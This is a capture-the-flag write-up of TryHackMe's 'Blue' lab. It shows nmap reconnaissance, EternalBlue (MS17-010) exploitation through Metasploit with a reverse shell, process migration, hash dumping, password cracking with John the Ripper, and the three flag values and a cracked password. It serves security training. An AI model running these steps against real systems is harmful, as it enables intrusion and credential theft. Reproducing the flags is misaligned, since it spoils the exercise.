



TryHackMe

Writeup



Room : *Blue*

Link : <https://tryhackme.com/room/blue>

Performed By : *edw77*

Date : *28/10/2022*

Task 1 Recon

Scan :

```
(kali@kali)-[~]
$ nmap -sV 10.10.110.13
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-30 09:54 EDT
Stats: 0:01:12 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 88.89% done; ETC: 09:55 (0:00:08 remaining)
Nmap scan report for 10.10.110.13
Host is up (0.62s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
135/tcp    open  msrpc           Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds   Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp   open  ssl/ms-wbt-server?
49152/tcp  open  msrpc           Microsoft Windows RPC
49153/tcp  open  msrpc           Microsoft Windows RPC
49154/tcp  open  msrpc           Microsoft Windows RPC
49158/tcp  open  msrpc           Microsoft Windows RPC
49160/tcp  open  msrpc           Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.76 seconds
```

The Nmap scan shows us **three open ports** under 1000 : **135,129 & 445**.

To discover the vulnerabilities in the machine, I used Nmap Script “Vuln”:

```
(kali@kali)-[~]
$ nmap -sV --script vuln 10.10.110.13 -p 135,139,445
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-30 09:58 EDT
Nmap scan report for 10.10.110.13
Host is up (0.025s latency).

PORT      STATE SERVICE        VERSION
135/tcp    open  msrpc           Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds   Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb-vuln-ms10-054: false
smb-vuln-ms17-010:
  VULNERABLE:
    Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
    State: VULNERABLE
    IDs: CVE:CVE-2017-0143
    Risk factor: HIGH
    A critical remote code execution vulnerability exists in Microsoft SMBv1
    servers (ms17-010).

    Disclosure date: 2017-03-14
    References:
      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_ samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
```

It revealed that our target is vulnerable to **Remote Code Execution Vulnerability (ms17-010)**.

Task 2 ✅ Gain Access

Now that we have identified a vulnerability to take advantage of, we are going to exploit the machine & gain a foothold.

We can find the vulnerability on Metasploit by using the command search :

```
msf6 > search ms17_010_eternalblue

Matching Modules
=====
#  Name
-  ---
0  exploit/windows/smb/ms17_010_eternalblue

Disclosure Date  Rank  Check  Description
-----
2017-03-14      average Yes  MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
```

Then, we set the required value RHOST (Remote Host) to the IP address of the target.

The default payload is already a reverse TCP Shell so we don't need to set it again.

After that, we use the command "Run" to run the exploit. It takes some time but it ended up giving us a reverse TCP Shell (meterpreter).

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.110.13
RHOSTS => 10.10.110.13
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.0.2.15:4444
```

Task 3 ✅ Escalate

Once we have a shell access, we need to escalate in order to have more privileges to exploit the machine.

By running "whoami", we can see that our shell is associated with the user "NT Authority\System".

```
Process 880 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

Then, we list the processes running on the machine by using "ps".

meterpreter > ps

Process List

PID	PPID	Name	Arch	Session	User
0	0	[System Process]			
4	0	System	x64	0	
400	4	smss.exe	x64	0	NT AUTHORITY\SYSTEM
416	668	svchost.exe	x64	0	NT AUTHORITY\SYSTEM
524	516	csrss.exe	x64	0	NT AUTHORITY\SYSTEM
572	516	wininit.exe	x64	0	NT AUTHORITY\SYSTEM
580	564	csrss.exe	x64	1	NT AUTHORITY\SYSTEM
608	564	winlogon.exe	x64	1	NT AUTHORITY\SYSTEM
668	572	services.exe	x64	0	NT AUTHORITY\SYSTEM
684	572	lsass.exe	x64	0	NT AUTHORITY\SYSTEM
692	572	lsm.exe	x64	0	NT AUTHORITY\SYSTEM
768	668	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE
788	668	svchost.exe	x64	0	NT AUTHORITY\SYSTEM
852	668	svchost.exe	x64	0	NT AUTHORITY\NETWORK SERVICE
936	608	LogonUI.exe	x64	1	NT AUTHORITY\SYSTEM
952	668	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE
1008	668	svchost.exe	x64	0	NT AUTHORITY\SYSTEM
1108	668	svchost.exe	x64	0	NT AUTHORITY\NETWORK SERVICE
1128	788	WmiPrvSE.exe	x64	0	NT AUTHORITY\SYSTEM
1312	668	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE
1372	668	amazon-ssm-agent.exe	x64	0	NT AUTHORITY\SYSTEM
1456	668	LiteAgent.exe	x64	0	NT AUTHORITY\SYSTEM
1600	668	Ec2Config.exe	x64	0	NT AUTHORITY\SYSTEM
1836	668	svchost.exe	x64	0	NT AUTHORITY\NETWORK SERVICE
2544	668	TrustedInstaller.exe	x64	0	NT AUTHORITY\SYSTEM
2780	668	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE

Now, we are going to migrate to the process "TrustedInstaller.exe" with the command "migrate 2544" (2544 being the id of the process)

Task 4 Cracking

With the command "hashdump", we can get the credentials of all the users on the machine. We will need to crack them though, as they are currently unreadable.

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: room (w
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```

To do that, we can use the Brute-Force tool "JohnTheRipper".

```
(kali@kali)-[~]
$ john --format=NT ./pwd.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22 (Jon)
2g 0:00:00:01 DONE (2022-10-30 11:18) 1.960g/s 10000Kp/s 10000Kc/s 10005Kc/s alr19882006..alpusidi
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
```

With this command, we specify John to use the wordlist Rockyou.txt (available by default on Kali). The process did not take too long, and we discovered the password of the user Jon in plain text : “alqfna22”.

Task 5 Find flags!

In this part, we are going to look for the three flags hidden in the system.

The first one can be found at the system root (C:\)

```
C:\>type flag1.txt
type flag1.txt
flag{access_the_machine}
```

The second one is located in the Config folder (C:\Windows\System32\Config), “where passwords are stored within Windows”.

```
C:\Windows\System32\Config>type flag2.txt
type flag2.txt
flag{sam_database_elevated_access}
```

The third & last one is hidden on the Documents folder of the user Jon (C:\Users\Jon\Documents).

```
C:\Users\Jon\Documents>type flag3.txt
type flag3.txt
flag{admin_documents_can_be_valuable}
```